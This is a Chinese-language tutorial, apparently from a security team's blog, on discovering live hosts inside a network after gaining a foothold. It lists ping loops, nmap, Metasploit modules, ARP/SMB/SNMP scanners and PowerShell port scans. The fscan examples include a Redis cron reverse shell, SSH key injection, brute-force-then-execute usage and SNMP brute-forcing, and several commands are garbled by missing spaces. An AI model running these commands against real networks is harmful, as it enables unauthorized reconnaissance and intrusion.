前言

在拿下通内网的主机权限后,普遍需要更进一步的收集内网信息,此时如何有效快速的探测内网存活主机关系到我们下一步的进展情况。当然自从有了Fscan后,我们的效率已经大大提高,不过在某些情况下fscan有时会无法正常探测,此时如何使用其他方法有效地收集内网信息成了关键,这篇文章主要记录一下在不同环境、不同条件下探测内网存活主机的方法。

内网主机探测的不同场景

我们主机扫描的场景主要分为三种:
1、获取到了webshell,此时一般用系统命令或上传脚本工具进行探测;
2、主机已在目标内网,比如已经通过正向或者反向代理搭建隧道的场景。此时可以考虑proxychains+Nmap扫描;
3、拿到了一个反弹的webshell,则可以考虑MSF。要根据不同的场景考虑支持存活探测的协议,包括了ARP、ICMP、SMB、 UDP、SNMP协议等;支持端口扫描的方式,包括TCP扫描、UDP扫描、ICMP扫描等。

内网不同协议主机探测的方式

ICMP协议探测

它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ping

ping是我们一个常用工具,主要用来测试网络连通性。也可以用它来完成对C段的探测,虽然效率低时间慢,但是不易出发安全规则。(服务器开启防火墙或者禁ping的时候不可用,否则影响探测结果)
• Windows
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
这是我在CS里执行的ping命令,可以看到c段内有两台主机存活 也可以写进文件里,方便后续查看。写进C盘的话需要administer权限,可以考虑更换盘符
@for/l %i in (1,1,255do @ping -n 1 -w 40192.168.1.%i & if errorlevel 1 (echo192.168.1.%i>>./a.txt) else (echo 192.168.1.%i >>./111.txt)
Linux
for k in $( seq 1255);do ping -c 110.211.55.|grep "ttl"|awk -F "[ :]+"'{print $4}'; done
另外,还可以结合系统自带的traceroute、arp 、netstat等命令收集内网信息,curl、wget可以用来做端口探测

nmap

nmap ‐sP ‐PI 192.168.1.0/24 ‐T4#或者nmap ‐sn ‐PE ‐T4 192.168.1.0/24

UDP协议探测

Internet 协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP,User Datagram Protocol)。UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。

Msf

msf > use auxiliary/scanner/discovery/udp_probe或者msf > use auxiliary/scanner/discovery/udp_sweep

nmap

sudonmap-sU-T5-sV--max-retries 1 10.211.55.5-p 500

unicornscan(Linux下使用)

unicornscan-mU 10.255.55.5
ScanLine(Windows下使用)
sl.exe-h-u 53,161,137,139 -OC:\Users\Administrator\Desktop\log.txt-p 192.168.1.1-254

Netbios协议

NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的。

nmap

sudo nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4

MSF

use auxiliary/scanner/netbios/nbname

nbtscan扫描

互联网搜索引擎nbtscan是一个扫描WINDOWS网络NetBIOS信息的小工具,2005年11月23日发布。NBTSCAN身材娇小,简单快速。但只能用于局域网,可以显示IP,主机名,用户名称和MAC地址等等。
下载地址:http://www.unixwiz.net/tools/nbtscan.html#download以Windows用法为例:nbtscan-1.0.35.exe -m 10.211.55.0/24

ARP协议

这是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

nmap

nmap -sn -PR 10.211.55.1/24

MSF

use auxiliary/scanner/discovery/arp_sweep

netdiscover

Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。
sudo netdiscover -r 10.211.55.0/24 -i eth0

arp-scan

可以看到这工具扫描速度挺快的
sudo arp-scan --interface=eth0 --localnet

SMB协议

SMB(Server Message Block)通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。

Msf

use auxiliary/scanner/smb/smb_version

nmap

nmap-sU-sS--scriptsmb-enum-shares.nse-p 445 10.211.55.3
通过cmd
for /l %a in (1,1,254) do start /min /low telnet 10.211.55.%a 445

crackmapexec

CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”
cme smb 10.211.55.0/24

SNMP协议

SNMP 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。

nmap

sudo nmap -sU --script snmp-brute 10.211.55.0/24 -T4

Msf

use auxiliary/scanner/snmp/snmp_enum

snmp for pl

这些 perl 脚本用于从目标系统中提取 SNMP 数据并解析这些文件以获取潜在的可用数据。
项目地址:https://github.com/dheiland-r7/snmp
这个工具在使用前需要编译,这里参考网上大佬的教程
wgethttp://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gztarxvzf ./NetAddr-IP-4.078.tar.gzcdNetAddr-IP-4.078/perlMakefile.PLmakemakeinstall
使用方法:./snmpbw.pl 192.168.0.1public21 ./snmpbw.pl ipfile.txt public24

常见的一些其它工具

Fscan

这个就不多介绍了,太常见
fscan -h 192.168.1.1/24fscan.exe -h 192.168.1.1/24 (默认使用全部模块)fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)

通过powershell脚本扫描IP地址存活

这里列举几个项目地址:
https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1
使用方法:
powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
此外,还可以用powershell实现基本的端口扫描功能
针对单个IP的多个端口的扫描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
针对单个IP的多个端口的扫描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
针对某IP段 & 多个端口的扫描
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.$a",$_)) "Port $_ is open!"} 2>$null}

PTscan

PTscan(Phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需Python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。
PTscan参考了F-NAScan的设计思路,在其基础上修改而成,把程序重心放在WEB扫描和识别功能上。
使用方法:
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]

##

-f 指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL
-h 指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p 指定扫描端口,缺省使用程序中的配置端口
-m 指定线程数
-t 指定timeout
-n 不进行ping操作,直接扫描
-b 开启Banner识别
-r ReverseIP

参考链接

https://blog.csdn.net/guanjian_ci/article/details/125037282 https://blog.csdn.net/qq_44159028/article/details/122683166

工具下载

Tide安全团队开发的Tscan也具有强大的扫描工具,已在知识星球同步。
往期推荐
E
N
D
知识星球产品及服务
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......
扫码加入一起学习吧~
继续阅读
阅读原文